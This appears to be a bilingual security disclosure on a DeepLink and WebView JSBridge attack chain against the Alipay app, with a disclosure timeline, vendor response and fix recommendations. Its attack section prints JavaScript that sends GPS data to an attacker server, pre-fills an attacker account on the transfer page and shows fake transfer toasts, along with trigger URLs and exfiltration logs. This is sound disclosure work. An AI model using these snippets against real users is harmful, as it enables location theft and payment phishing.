独立安全研究 Independent Security Research

支付宝 DeepLink 攻击面分析 Alipay DeepLink Attack Surface Analysis

一个链接,通向一切 One Link to Rule Them All

针对支付宝 Android/iOS 最新版的 DeepLink + WebView JSBridge 攻击链端到端分析。已通过负责任披露流程向蚂蚁集团报告,厂商回复为"正常功能"。 End-to-end analysis of the DeepLink + WebView JSBridge attack chain on Alipay Android/iOS latest versions. Reported through responsible disclosure to Ant Group. Vendor response: "normal functionality."

17
已验证问题 Verified Issues
308
服务器日志 Exfil Logs
3
验证设备 Devices Tested
42
证据截图 Screenshots

⚠️ 多节点存档 — 为防止单点删除,本研究已在以下地址同步发布: ⚠️ Multi-Node Archive — To prevent single-point deletion, this research is published at:

📄 innora.ai/zfb (本站) 🐙 GitHub Repository

读者请自行备份! Fork GitHub 仓库或保存网页到本地,防止任一节点被删除导致内容丢失。 Readers: please backup! Fork the GitHub repo or save this page locally to prevent content loss if any node is taken down.

项目Field Value
Targetcom.eg.android.AlipayGphone v10.8.26.7000 / v10.8.30.8000
APK Size210.5 MB (220,503,494 bytes)
PlatformAndroid 16 (API 36) + iOS 26.3.1
分析日期Analysis Date 2026-02-16 ~ 2026-03-07
攻击前提Prerequisites 非Root、非越狱、无特殊权限、仅需受害者点击一个链接 No root, no jailbreak, no special permissions. Victim only needs to click one link.
研究者Researcher Innora AI Security Research (feng@innora.ai)

目录Table of Contents

  1. 披露时间线Disclosure Timeline
  2. 核心发现摘要Executive Summary
  3. 攻击链详解Attack Chain Details
  4. 在线 PoC 演示Live PoC Demonstration
  5. 已验证安全问题Verified Security Issues
  6. 证据展示Evidence
  7. 跨平台验证Cross-Platform Verification
  8. iOS 特有风险iOS-Specific Risks
  9. 已生效的防护Working Defenses
  10. 厂商回应与讨论Vendor Response & Discussion
  11. 修复建议Remediation Recommendations

01 负责任披露时间线 Responsible Disclosure Timeline

我们始终遵循负责任的安全研究原则。在公开任何信息之前,已通过多个渠道向蚂蚁集团进行了完整的报告。

We followed responsible disclosure principles throughout. Before any public discussion, full reports were submitted to Ant Group through multiple channels.

2026-02-16

开始对 Alipay v10.8.30.8000 APK 进行静态分析 Started static analysis of Alipay v10.8.30.8000 APK

2026-02-25

第一次报告 — TLS/SSL 安全分析报告发送至 bin.z@antgroup.com, lingyan.wanglingya@antgroup.com, antsrc@service.alipay.com First Report — TLS/SSL security analysis sent to bin.z@antgroup.com, lingyan.wanglingya@antgroup.com, antsrc@service.alipay.com

2026-03-06

综合安全分析完成,包含 SecurityGuard、BabaSSL、DexAOP 等模块的深度分析 Comprehensive analysis completed covering SecurityGuard, BabaSSL, DexAOP and more

2026-03-07

第二次报告 — DeepLink + JSBridge 8个漏洞的完整攻击链报告发送至蚂蚁集团联系人 Second Report — Full DeepLink + JSBridge attack chain report (8 issues) sent to Ant Group contact

2026-03-07

第三次报告 — V3增强版,17个漏洞 + 308条服务器日志 + 42张截图 Third Report — V3 enhanced, 17 issues + 308 server logs + 42 screenshots

2026-03-07

第四次报告 — 端到端外部攻击报告,含Samsung S25 Ultra + iPhone 16 Pro跨平台验证 Fourth Report — E2E external attack report with cross-platform Samsung S25 Ultra + iPhone 16 Pro verification

2026-03-09

测试账户被封锁(安全测试期间触发风控),发送账户解封申请 Test account banned (risk control triggered during testing). Account unblock request sent.

2026-03-10

厂商回应:"正常功能" — 不认为是漏洞 Vendor Response: "Normal functionality" — not considered a vulnerability

2026-03-11

公开发布 — 既然厂商确认这些都是"正常功能",那公开讨论"正常功能"的安全影响没有任何问题 Public Disclosure — Since the vendor confirmed these are "normal features," discussing the security implications of "normal features" publicly is entirely appropriate

02 核心发现摘要 Executive Summary

支付宝的 alipays:// DeepLink scheme 允许任何第三方应用或网页将用户引导到支付宝的 Nebula WebView 容器,加载攻击者控制的外部网页。一旦加载,攻击者的 JavaScript 代码可以调用 AlipayJSBridge API,执行一系列危险操作:

  • 窃取精确GPS定位 — 在用户已授予支付宝位置权限的前提下,外部页面调用getLocation无任何二次确认弹窗,坐标直接回传攻击者服务器
  • 窃取完整设备指纹 — 品牌/型号/OS/存储/电量/蓝牙/WiFi/权限状态 30+ 字段
  • 打开转账页面并预填攻击者收款账号和金额(最终确认仍需用户点击,但配合UI欺骗可大幅降低警惕性)
  • 触发支付SDK弹出支付界面 — tradePay API 唤起收银台(用户仍需手动确认,但UI可被高度仿真)
  • 跳转18个敏感内部页面 — 交易记录、银行卡管理、芝麻信用、提现、亲情号等
  • 显示虚假转账通知 — 在支付宝内伪造 "转账 ¥5,000 到 张*明 成功"
  • 篡改标题栏为"安全中心" — 增强钓鱼可信度
  • 跳转到支付宝登录页面 — 创建完美的凭据钓鱼入口
  • 链式加载更多恶意页面 — 每个新页面都可再次调用全部 API

攻击条件极低:受害者只需点击一个链接。无需Root、无需越狱、无需安装任何应用。链接可通过短信、微信、QQ、邮件、二维码等任何渠道传播。

Alipay's alipays:// DeepLink scheme allows any third-party app or webpage to direct users into Alipay's Nebula WebView container, loading attacker-controlled external web pages. Once loaded, the attacker's JavaScript can call AlipayJSBridge APIs to perform dangerous operations:

  • Steal precise GPS location — When location permission is already granted to Alipay, external pages calling getLocation get coordinates with no secondary consent dialog, sent directly to attacker server
  • Steal complete device fingerprint — Brand/model/OS/storage/battery/Bluetooth/WiFi/permissions, 30+ fields
  • Open transfer page with pre-filled attacker account and amount (final confirmation still requires user tap, but combined with UI spoofing can greatly reduce vigilance)
  • Trigger payment SDK to launch payment UI — tradePay API invokes cashier (user must still confirm, but UI can be highly spoofed)
  • Navigate to 18 sensitive internal pages — Transaction history, bank cards, credit score, withdrawal, family accounts, etc.
  • Display fake transfer notifications — Forge "Transfer CNY 5,000 to Zhang*Ming completed" inside Alipay
  • Spoof title bar to "Security Center" — Enhance phishing credibility
  • Redirect to Alipay login page — Create perfect credential phishing entry point
  • Chain-load more malicious pages — Each new page can call all APIs again

Attack prerequisites are minimal: victim only needs to click one link. No root, no jailbreak, no app installation required. The link can be distributed via SMS, WeChat, QQ, email, QR codes, or any other channel.

03 攻击链详解 Attack Chain Details

攻击链 A: 网页链接 → WebView → JSBridge → 数据窃取 + 转账劫持 Chain A: Web Link → WebView → JSBridge → Data Theft + Transfer Hijacking

1
攻击者部署恶意页面 Attacker deploys malicious page

在任何公网 HTTPS 服务器上部署 PoC 页面(如 https://innora.ai/zfb/poc/verify.html)和数据收集端点 Deploy PoC page (e.g., https://innora.ai/zfb/poc/verify.html) and data collection endpoint on any public HTTPS server

2
发送钓鱼链接给受害者 Send phishing link to victim

通过短信/微信/QQ等发送链接。受害者在手机浏览器中点击后,看到"恭喜获得88元红包"等社工页面 Send link via SMS/WeChat/QQ. Victim clicks in mobile browser, sees social engineering page like "Congratulations! You won a ¥88 red packet"

Trigger URL
intent://platformapi/startapp?appId=20000067&url=https%3A%2F%2Finnora.ai%2Fzfb%2Fpoc%2Fverify.html#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end
3
支付宝 WebView 加载外部页面 Alipay WebView loads external page

Chrome 通过 intent:// scheme 跳转到支付宝。支付宝 Nebula WebView 容器加载攻击者页面。AlipayJSBridge 被自动注入。显示一个"继续访问"警告(但未告知用户外部页面将获得 JSBridge API 权限)。 Chrome triggers Alipay via intent:// scheme. Alipay's Nebula WebView loads the attacker page. AlipayJSBridge is automatically injected. A "Continue to visit" warning appears (but does NOT inform the user that the external page will gain JSBridge API access).

4
JavaScript Payload 自动执行 JavaScript Payload executes automatically

攻击者 JS 调用 AlipayJSBridge API: Attacker JS calls AlipayJSBridge APIs:

// GPS 定位窃取
AlipayJSBridge.call("getLocation", {}, function(result) {
  // result = {lat: 5.460012, lng: 100.314139, city: "槟城"}
  exfiltrate("GPS", result);  // POST to attacker server
});

// 打开转账页面,预填攻击者账号
AlipayJSBridge.call("startApp", {
  appId: "09999988",
  param: {
    actionType: "toAccount",
    account: "attacker@evil.com",
    amount: "1000"
  }
});

// 显示假转账通知
AlipayJSBridge.call("toast", {
  content: "Transfer ¥5,000 to Zhang*Ming completed",
  type: "success",
  duration: 5000
});
5
数据回传到攻击者服务器 Data exfiltrated to attacker server

通过 XHR POST + Image Beacon 双通道将窃取的 GPS、设备信息、会话数据发送到攻击者服务器。308条完整日志记录在案。 GPS, device info, and session data sent to attacker server via dual-channel XHR POST + Image Beacon. 308 complete log entries recorded.

攻击链 B: 零交互 DeepLink → 敏感页面直接暴露 Chain B: Zero-Interaction DeepLink → Sensitive Page Direct Exposure

以下 DeepLink 从浏览器或任何第三方 APP 触发后,支付宝不显示任何额外警告,直接跳转到敏感功能页面:

The following DeepLinks, when triggered from a browser or any third-party app, cause Alipay to navigate without any additional warning directly to sensitive function pages:

appId 目标页面Target Page 暴露数据Exposed Data
20000003 交易记录Transaction History 完整消费历史(商品名、金额、分类)Full spending history (items, amounts, categories)
20000116 转账联系人Transfer Contacts 20+ 联系人真实姓名、头像、转账金额20+ contacts' real names, avatars, transfer amounts
20000123 收款二维码Payment QR Code 完整收款码 + 真实姓名Full payment QR + real name
20000032 余额宝Yu'E Bao (Money Market) 余额 ¥5.00 + 累计收益 ¥9,453.67Balance ¥5.00 + total earnings ¥9,453.67
20000180 总资产Total Assets 完整资产概览Complete asset overview
20000153 芝麻信用Zhima Credit Score 信用评分Credit score
20000193 银行卡管理Bank Card Management 绑定的银行卡信息Linked bank card info
09999988 转账Transfer 可预填攻击者收款账号和金额Can pre-fill attacker account and amount
20000033 提现Withdrawal 提现页面Withdrawal page
20000221 亲情号Family Account 亲情号列表Family account list
68687023 花呗Huabei (Credit) 花呗页面Credit page
10000007 扫一扫Scan 触发摄像头权限Triggers camera permission
触发方式Trigger Method
// From any app or browser:
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse("alipays://platformapi/startapp?appId=20000003"));
startActivity(i);
// Alipay opens transaction history directly. No warning.

03.5 在线 PoC 演示 Live PoC Demonstration

以下是可在线体验的 PoC 页面(已脱敏,不收集任何数据):

Below are live PoC pages you can test (sanitized, no data collection):

Trigger 页面 — 模拟钓鱼入口 Trigger Page — Simulated Phishing Entry

模拟攻击者通过短信/微信发送的钓鱼页面。在安装了支付宝的 Android 手机上用 Chrome 打开即可体验。 Simulates the phishing page an attacker would send via SMS/WeChat. Open in Chrome on an Android phone with Alipay installed.

JSBridge PoC — 数据采集演示 JSBridge PoC — Data Collection Demo

在支付宝 WebView 中加载后,演示 AlipayJSBridge API 可以获取的所有数据。所有数据仅在本地显示,不发送到任何服务器。 When loaded inside Alipay WebView, demonstrates all data accessible via AlipayJSBridge APIs. All data is displayed locally only, not sent to any server.

触发方式Trigger Method
alipays://platformapi/startapp?appId=20000067&url=https://innora.ai/zfb/poc/verify.html

Chain WebView — 链式加载演示 Chain WebView — Chain Loading Demo

证明通过 pushWindow 链式加载的页面同样获得完整 JSBridge 访问权限。 Proves that pages chain-loaded via pushWindow also receive full JSBridge access.

04 已验证安全问题 Verified Security Issues

以下所有问题均在真实设备上端到端验证,有服务器日志和截图为证。我们对每个发现都标注了验证状态和证据类型。

All issues below were verified end-to-end on real devices, with server logs and screenshots as evidence. Each finding includes verification status and evidence type.

CRITICAL

V-01: 转账页面预填攻击者账号Transfer Page Pre-filled with Attacker Account

startApp API 允许外部页面打开支付宝转账页面,并预填收款账号和转账金额。受害者看到的是一个已经填好攻击者账号的转账界面。最终转账仍需用户点击确认按钮,但配合 UI 欺骗(V-08)和社会工程,用户误操作的风险极高。 The startApp API allows external pages to open Alipay's transfer page with pre-filled recipient account and amount. The victim sees a transfer form already populated with the attacker's account. Final transfer still requires user confirmation, but combined with UI spoofing (V-08) and social engineering, the risk of user error is extremely high.

服务器日志证据Server Log Evidence
{"tag":"f_startApp:转账预填(09999988)",
 "data":{"status":"ok","result":{"success":true}}}

API: AlipayJSBridge.call("startApp", {appId:"09999988", param:{actionType:"toAccount", account:"attacker@evil.com", amount:"1000"}})

CRITICAL

V-02: pushWindow 执行转账 DeepLinkpushWindow Executes Transfer DeepLink

pushWindow API 允许外部页面通过 alipays:// scheme 执行转账 DeepLink,传递攻击者账号和金额。 The pushWindow API allows external pages to execute transfer DeepLinks via the alipays:// scheme, passing attacker account and amount.

服务器日志证据Server Log Evidence
{"tag":"f_pushWindow:transfer_scheme",
 "data":{"status":"ok","result":{"success":"true"}}}
CRITICAL

V-03: pushWindow 打开支付收银台pushWindow Opens Payment Cashier

外部页面可以通过 pushWindow 打开支付宝的支付收银台 URL。 External pages can open Alipay's payment cashier URL via pushWindow.

服务器日志证据Server Log Evidence
{"tag":"f_pushWindow:cashier(支付收银台)",
 "data":{"status":"ok","result":{"success":"true"}}}
CRITICAL

V-04: tradePay 触发支付 SDKtradePay Triggers Payment SDK

tradePay API 可以被外部页面调用,弹出支付宝支付界面。我们测试了3种参数格式,全部成功触发(resultCode=6001表示用户手动取消,但支付界面确实弹出了)。 The tradePay API can be called from external pages, launching the Alipay payment UI. We tested 3 parameter formats, all successfully triggered (resultCode=6001 means user manually cancelled, but the payment UI did appear).

服务器日志证据Server Log Evidence
{"tag":"f_tradePay:full_orderStr",
 "data":{"status":"ok","result":{"resultCode":"6001"}}}
CRITICAL

V-05: 完整数据外传链路 (308条日志)Full Data Exfiltration Chain (308 Log Entries)

外部页面中的 JavaScript 成功将 GPS 坐标、设备信息、网络信息、会话 ID 等数据通过 XHR POST + Image Beacon 双通道发送到攻击者服务器。总计 308 条完整日志记录。 JavaScript in external pages successfully exfiltrated GPS coordinates, device info, network info, session IDs via dual-channel XHR POST + Image Beacon to attacker server. Total: 308 complete log entries.

HIGH

V-06: 18个敏感内部页面可被外部页面跳转18 Sensitive Internal Pages Navigable from External Page

通过 startApp API,外部页面可以跳转到包括交易记录、银行卡管理、芝麻信用、提现、亲情号在内的 18 个敏感内部页面,全部返回 success: true Via the startApp API, external pages can navigate to 18 sensitive internal pages including transaction history, bank card management, credit score, withdrawal, and family accounts. All returned success: true.

HIGH

V-07: GPS 精确定位窃取(无用户感知)GPS Location Theft (No User Awareness)

getLocation API 在外部页面调用时,如果用户此前已授予支付宝位置权限,不显示任何二次确认弹窗,直接返回精确 GPS 坐标。已在 3 台设备上验证(新西兰 Android、马来西亚 Android、中国杭州 iOS)。注意 iOS 14+ 的模糊定位设置可能影响精度。 getLocation API when called from external pages, if the user has previously granted location permission to Alipay, shows no secondary consent dialog, directly returning precise GPS coordinates. Verified on 3 devices (New Zealand Android, Malaysia Android, Hangzhou China iOS). Note: iOS 14+ approximate location settings may affect precision.

三台设备 GPS 数据GPS Data from 3 Devices
// Samsung S25 Ultra — Auckland, New Zealand
{"lat": -36.707669, "lng": 174.719378, "city": "奥克兰", "country": "新西兰", "accuracy": 25}

// Redmi 23129RN51X — Penang, Malaysia
{"lat": 5.460012, "lng": 100.314139, "city": "槟城", "country": "马来西亚", "accuracy": 35}

// iPhone 16 Pro — Hangzhou, China
{"lat": 30.306882, "lng": 120.121303, "city": "杭州市"}
HIGH

V-08: UI 欺骗: 虚假转账通知 + 标题篡改UI Spoofing: Fake Transfer Notifications + Title Bar Spoofing

攻击者可在支付宝内显示任意 toast 消息(如 "转账 ¥5,000 到 张*明 成功"),并将标题栏修改为 "安全中心" / "红包领取" 等钓鱼标题。配合社会工程,受害者无法区分真假。 Attacker can display arbitrary toast messages inside Alipay (e.g., "Transfer ¥5,000 to Zhang*Ming completed") and modify the title bar to "Security Center" / "Red Packet Claim." Combined with social engineering, victims cannot distinguish real from fake.

HIGH

V-09: OAuth 授权流程劫持OAuth Authorization Flow Hijacking

getAuthCode API 可被外部页面触发,发起 OAuth 服务端调用。虽然未成功获取授权码,但弹出了"服务忙,请稍后再试"弹窗,证明请求到达了 OAuth 服务端。 The getAuthCode API can be triggered by external pages, initiating OAuth server-side calls. While no auth code was obtained, a "Service busy, please try later" popup appeared, proving the request reached the OAuth server.

HIGH

V-10: 零交互暴露余额宝余额和转账联系人Zero-Interaction Exposure of Yu'E Bao Balance and Transfer Contacts

通过 DeepLink 直接打开余额宝页面,显示余额 ¥5.00 和累计收益 ¥9,453.67。转账联系人页面暴露 20+ 联系人完整真实姓名。无需任何额外确认。 DeepLink directly opens Yu'E Bao page showing balance ¥5.00 and total earnings ¥9,453.67. Transfer contacts page exposes 20+ contacts' full real names. No additional confirmation required.

完整问题列表 Complete Issue List

ID 问题Issue 严重度Severity 验证Verified
V-01startApp 预填攻击者账号到转账页面startApp pre-fills attacker account on transfer pageCRIT308 logs
V-02pushWindow 执行转账 DeepLinkpushWindow executes transfer DeepLinkCRIT308 logs
V-03pushWindow 打开支付收银台pushWindow opens payment cashierCRIT308 logs
V-04tradePay 触发支付 SDKtradePay triggers payment SDKCRIT308 logs
V-05完整数据外传链路Full data exfiltration chainCRIT308 logs
V-0618个敏感页面可跳转18 sensitive pages navigableHIGH42 screenshots
V-07GPS 精确定位窃取GPS location theftHIGH3 devices
V-08UI 欺骗 (toast + 标题篡改)UI spoofing (toast + title bar)HIGH308 logs
V-09OAuth 授权流程劫持OAuth flow hijackingHIGHscreenshot
V-10余额宝余额 + 联系人姓名暴露Yu'E Bao balance + contact names exposedHIGHscreenshot
V-11收款二维码 + 真实姓名泄露Payment QR + real name exposureHIGHscreenshot
V-12pushWindow 跳转登录页面 (钓鱼入口)pushWindow redirects to login page (phishing)HIGHscreenshot
V-13链式 WebView 攻击Chain WebView attackHIGH308 logs
V-14会话信息泄露Session info leakageMED308 logs
V-15完整设备指纹外传Full device fingerprint exfiltrationMED308 logs
V-16网络信息泄露Network info leakageMED308 logs
V-17API 权限地图泄露API permission map leakageMED308 logs

05 证据展示 Evidence

服务器端数据外传日志 Server-Side Exfiltration Logs

以下是攻击者服务器实际接收到的数据。这些日志记录在 innora.ai 上的数据收集端点,证明数据确实从支付宝 WebView 中外传到了外部服务器。

Below are actual data received by the attacker server. These logs were recorded at the data collection endpoint on innora.ai, proving data was indeed exfiltrated from Alipay WebView to an external server.

GPS 定位数据(马来西亚槟城) GPS Location Data (Penang, Malaysia)
{
  "timestamp": "2026-03-07 11:53:51.599",
  "method": "POST",
  "path": "/exfil",
  "body": {
    "tag": "getLocation:GPS location",
    "data": {
      "status": "ok",
      "data": {
        "accuracy": 35,
        "city": "槟城",
        "country": "马来西亚",
        "latitude": 5.460012,
        "longitude": 100.314139
      }
    }
  }
}
设备完整指纹(Redmi) Full Device Fingerprint (Redmi)
{
  "tag": "getSystemInfo:Device info",
  "data": {
    "apiLevel": 36,
    "app": "alipay",
    "bluetoothEnabled": true,
    "brand": "Redmi",
    "cameraAuthorized": false,
    "currentBattery": "100%",
    "locationAuthorized": true,
    "model": "Xiaomi 23129RN51X",
    "platform": "Android",
    "screenHeight": 1650,
    "screenWidth": 720,
    "storage": "119 GB",
    "system": "16",
    "version": "10.8.26.7000",
    "wifiEnabled": true
  }
}
会话参数泄露(含 sessionId 和来源信息) Session Parameter Leakage (incl. sessionId and source info)
{
  "tag": "getStartupParams",
  "data": {
    "sessionId": "session_20000067_22751",
    "startFromExternal": "true",
    "sourcePackageName": "com.android.chrome",
    "safePayEnabled": "true",
    "appId": "20000067",
    "url": "http://192.168.80.12:8888/chain1.html"
  }
}
转账页面预填成功 Transfer Page Pre-fill Success
{"tag": "f_startApp:转账预填(09999988)", "data": {"status": "ok", "result": {"success": true}}}
{"tag": "f_pushWindow:transfer_scheme", "data": {"status": "ok", "result": {"success": "true"}}}
{"tag": "f_pushWindow:cashier(支付收银台)", "data": {"status": "ok", "result": {"success": "true"}}}
{"tag": "f_tradePay:full_orderStr", "data": {"status": "ok", "result": {"resultCode": "6001"}}}
User-Agent 证明数据来自支付宝 WebView User-Agent Proves Data Originates from Alipay WebView
Mozilla/5.0 (Linux; Android 16; 23129RN51X Build/BP2A.250605.031.A3; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/126.0.6478.122
NebulaSDK/1.8.100112 Nebula
AliApp(AP/10.8.26.7000) AlipayClient/10.8.26.7000
Language/zh-Hant Region/CN

User-Agent 中包含 NebulaSDKAliApp(AP/10.8.26.7000)AlipayClient — 这是支付宝 Nebula WebView 容器的独特标识,无法伪造。证明这些请求确实来自支付宝应用内部。 The User-Agent contains NebulaSDK, AliApp(AP/10.8.26.7000), AlipayClient — unique identifiers of the Alipay Nebula WebView container that cannot be forged. This proves these requests genuinely originated from within the Alipay app.

证据文件清单 Evidence File Inventory

文件类型File Type 数量Count 描述Description
设备截图Device Screenshots 42 包含 CRITICAL 标签的 25 张 + 普通验证 17 张 25 with CRITICAL labels + 17 general verification
服务器日志Server Logs 308 entries exfil_server_log_20260307_complete.jsonl (136 KB) exfil_server_log_20260307_complete.jsonl (136 KB)
PoC HTMLPoC HTML 8 chain1~chain8 攻击链 + trigger 触发页 chain1~chain8 attack chains + trigger page
攻击服务器Attack Server 1 Python server.py (数据收集 + 日志记录) Python server.py (data collection + logging)
Nginx 1 nginx_exfil_access.log (52 KB) nginx_exfil_access.log (52 KB)

06 跨平台验证 Cross-Platform Verification

所有攻击链在以下 3 台真实设备上独立验证成功,覆盖 Android 和 iOS 平台:

All attack chains were independently verified on 3 real devices across Android and iOS platforms:

📱
Samsung Galaxy S25 Ultra
SM-S938B
Android 16 (API 36)
奥克兰, 新西兰 Auckland, New Zealand
Alipay 10.8.26.7000
📱
Redmi 23129RN51X
Xiaomi
Android 16 (API 36)
槟城, 马来西亚 Penang, Malaysia
Alipay 10.8.26.7000
📱
iPhone 16 Pro
iPhone (18,4)
iOS 26.3.1
杭州, 中国 Hangzhou, China
Alipay 10.8.30.6000

07 iOS 特有风险 iOS-Specific Risks

iPhone 设备上的 API 权限比 Android 更宽松,攻击面更大:

API permissions on iPhone are more permissive than Android, creating a larger attack surface:

API Android iOS 风险Risk
tradePay 不可用N/A 可用Available 触发支付 SDKTriggers payment SDK
share 不可用N/A 可用Available 蠕虫传播向量 — 自动分享恶意链接到微信/QQ Worm propagation vector — auto-share malicious links to WeChat/QQ
scan 不可用N/A 可用Available 打开摄像头Opens camera
chooseImage 不可用N/A 可用Available 访问相册Access photo library
getLocation checkJSAPI 不可用checkJSAPI N/A 可用Available 定位窃取Location theft

蠕虫风险:iOS 上的 share API 意味着攻击者页面可以自动将恶意链接分享到微信、QQ、短信、钉钉等平台,实现自我传播。一个受害者点击链接 → 恶意链接自动分享给其联系人 → 指数级传播。 Worm Risk: The share API on iOS means the attacker page can automatically share the malicious link to WeChat, QQ, SMS, DingTalk, etc. One victim clicks → malicious link auto-shared to contacts → exponential propagation.

08 已生效的防护 Working Defenses

客观地说,支付宝的安全架构确实有部分防护措施正在生效。以下 API 在外部域名下被正确拦截(返回 permission denied):

To be objective, Alipay's security architecture does have some working defensive measures. The following APIs are correctly blocked from external domains (returning permission denied):

这说明支付宝有能力在 JSBridge 层面实施域名白名单和权限控制。上述 17 个问题中涉及的 API 只是还没有被加入到同样的权限控制机制中

This demonstrates that Alipay has the capability to implement domain whitelisting and permission controls at the JSBridge level. The APIs involved in the 17 issues above simply haven't been added to the same permission control mechanism yet.

09 厂商回应与讨论 Vendor Response & Discussion

蚂蚁集团的回应(2026-03-10):所报告的内容是"支付宝的正常功能",不认为是安全漏洞。 Ant Group's Response (2026-03-10): The reported issues are "normal functionality of Alipay," not considered security vulnerabilities.

我们的回应

我们充分尊重厂商的判断。但以下事实不会因为判定结论而改变:

  1. 数据确实外传了。 308条服务器日志不是模拟的,GPS坐标 5.460012, 100.314139 确实从支付宝 WebView 发送到了我们的服务器。这个事实不受"是否是漏洞"的判定影响。
  2. 转账页面确实被外部触发了。 startApp 返回 success: true,转账页面确实打开了,攻击者的账号确实被预填了。这个事实不受"是否是漏洞"的判定影响。
  3. 用户没有被充分告知。 "继续访问"警告中没有告诉用户"该网站将获得调用支付宝内部API的能力,包括读取您的GPS位置、打开转账页面等"。用户不知道点击"继续访问"意味着什么。
  4. 防护机制的不一致性。 既然 clipboardgetUserInfo 被正确拦截了,那 getLocationstartApp 为什么不需要同样的保护?同一个安全框架对不同API的处理方式不一致,这至少说明有改进空间。
  5. 测试账户被封锁。 如果这些都是"正常功能",那为什么我们的测试账户在使用这些"正常功能"时触发了风控?这本身就说明系统认为这些行为是异常的。
  6. 公开讨论的权利。 既然官方确认这些不是安全漏洞而是"正常功能",那我们讨论支付宝"正常功能"的安全影响,应该没有任何问题。

我们发表这篇技术分析,不是为了争论"是不是漏洞"。我们只是在公开描述一个事实:攻击者可以通过一个链接,在不需要用户理解其后果的情况下,从支付宝中获取GPS定位、打开转账页面、显示假通知。读者可以自行判断这是否是一个值得关注的安全问题。

重要澄清:本文所有描述的攻击链均无法实现"零交互自动转账/扣款"。转账操作最终仍需用户主动点击确认按钮。我们讨论的核心风险是:在UI欺骗 + 社会工程 + 预填信息的组合攻击下,用户做出错误操作的概率被大幅提高。我们严格区分"页面成功跳转"和"资金操作完成",不做任何夸大。

Our Response

We fully respect the vendor's judgment. However, the following facts do not change based on the classification decision:

  1. Data was indeed exfiltrated. The 308 server log entries are not simulated. GPS coordinates 5.460012, 100.314139 were indeed transmitted from Alipay WebView to our server. This fact is independent of whether it's classified as a "vulnerability."
  2. The transfer page was indeed triggered externally. startApp returned success: true, the transfer page opened, and the attacker's account was pre-filled. This fact is independent of the classification.
  3. Users are not adequately informed. The "Continue to visit" warning does not tell users: "This website will gain the ability to call Alipay internal APIs, including reading your GPS location, opening transfer pages, etc." Users don't know what clicking "Continue" means.
  4. Defense mechanism inconsistency. If clipboard and getUserInfo are correctly blocked, why don't getLocation and startApp receive the same protection? The inconsistent treatment of different APIs within the same security framework at minimum indicates room for improvement.
  5. Test account was banned. If these are all "normal features," why did our test account trigger risk controls when using these "normal features"? This itself indicates the system considers these behaviors abnormal.
  6. Right to public discussion. Since the vendor officially confirmed these are not security vulnerabilities but "normal features," discussing the security implications of Alipay's "normal features" should be entirely appropriate.

We publish this technical analysis not to argue about whether something is a "vulnerability." We are simply publicly describing a fact: an attacker can, through a single link, obtain GPS location from Alipay, open transfer pages, and display fake notifications — without the user understanding the consequences. Readers can judge for themselves whether this is a security concern worth attention.

Important Clarification: None of the attack chains described in this article can achieve "zero-interaction automatic transfers/debits." Fund transfers still require the user to actively tap the confirmation button. The core risk we discuss is: under the combined attack of UI spoofing + social engineering + pre-filled information, the probability of users making erroneous operations is significantly increased. We strictly distinguish between "page navigation succeeded" and "fund operation completed," and make no exaggerations.

10 修复建议 Remediation Recommendations

尽管厂商将这些归类为"正常功能",我们仍然提供以下技术建议以供参考:

Despite the vendor classifying these as "normal features," we still offer the following technical recommendations for consideration:

# 建议Recommendation 覆盖问题Addresses
1 JSBridge 域名白名单:非阿里巴巴域名禁止调用 startApppushWindowtradePaygetLocation JSBridge domain whitelist: Block startApp, pushWindow, tradePay, getLocation for non-Alibaba domains V-01~V-07
2 startApp 参数过滤:外部页面调用 startApp 时禁止传递 param(预填账号/金额) startApp parameter filtering: Block param passing (pre-fill account/amount) when called from external pages V-01, V-02
3 pushWindow URL 限制:禁止 pushWindow 加载 alipays:// scheme 和内部 URL pushWindow URL restriction: Block pushWindow from loading alipays:// schemes and internal URLs V-02, V-03, V-12
4 tradePay 来源校验tradePay 必须验证调用来源为受信任的 H5 应用 tradePay source validation: tradePay must verify calling source is a trusted H5 app V-04
5 getLocation 权限弹窗:外部页面调用时必须显示用户确认弹窗 getLocation permission dialog: Must show user consent dialog when called from external pages V-07
6 DeepLink 敏感页面保护:敏感功能的 DeepLink 需验证调用来源或要求二次确认 DeepLink sensitive page protection: Sensitive function DeepLinks should verify calling source or require secondary confirmation V-06, V-10, V-11
7 UI 欺骗防护:外部页面禁止调用 toastsetTitle UI spoofing protection: Block toast, setTitle from external pages V-08
8 "继续访问"警告增强:明确告知用户外部页面将获得的 API 权限 Enhanced "Continue" warning: Explicitly inform users of the API permissions the external page will gain All
9 数据外传防护:WebView 内 XHR/Image 请求检查目标域名 Data exfiltration prevention: Check target domain for XHR/Image requests within WebView V-05, V-15~V-17

免责声明 Disclaimer

  • 本研究完全出于安全研究和教育目的。
  • 所有测试均在研究者自己的设备上进行。
  • 测试账户为研究者本人账户。
  • 在公开发布之前,已通过多轮负责任披露向蚂蚁集团报告了全部发现。
  • 厂商回复这些是"正常功能",因此公开讨论不存在任何法律或道德问题。
  • 本文不包含任何可直接用于攻击的完整 PoC 代码(关键参数已脱敏)。
  • 我们对每个发现都诚实标注了验证状态,包括防护生效的部分。
  • This research was conducted solely for security research and educational purposes.
  • All testing was performed on the researcher's own devices.
  • Test accounts belong to the researcher.
  • All findings were reported to Ant Group through multiple rounds of responsible disclosure before public release.
  • The vendor responded that these are "normal features," therefore public discussion poses no legal or ethical concerns.
  • This article does not contain any complete PoC code that could be directly used for attacks (critical parameters are sanitized).
  • We honestly labeled the verification status of each finding, including parts where defenses are working.

联系我们 Contact

如果蚂蚁集团在阅读本文后希望进一步沟通、请求澄清或要求更新特定内容,请发送邮件至 feng@innora.ai。如果相关问题在后续版本中得到修复,我们将及时更新本文并标注修复状态。

如果其他安全研究人员对本文中的技术分析有疑问或想要交流,同样欢迎联系。

If Ant Group wishes to discuss further, request clarification, or ask for specific content updates after reading this article, please email feng@innora.ai. If the issues discussed here are addressed in future versions, we will promptly update this article with the fix status.

Other security researchers with questions about the technical analysis or who wish to exchange findings are also welcome to reach out.

📌 存档地址 (防删除) 📌 Archive Mirrors (Anti-Deletion)

innora.ai/zfb GitHub

请 Fork / 下载备份。如发现任一地址不可访问,请从其他节点获取完整内容。 Please Fork / download as backup. If any mirror becomes unavailable, access the full content from other nodes.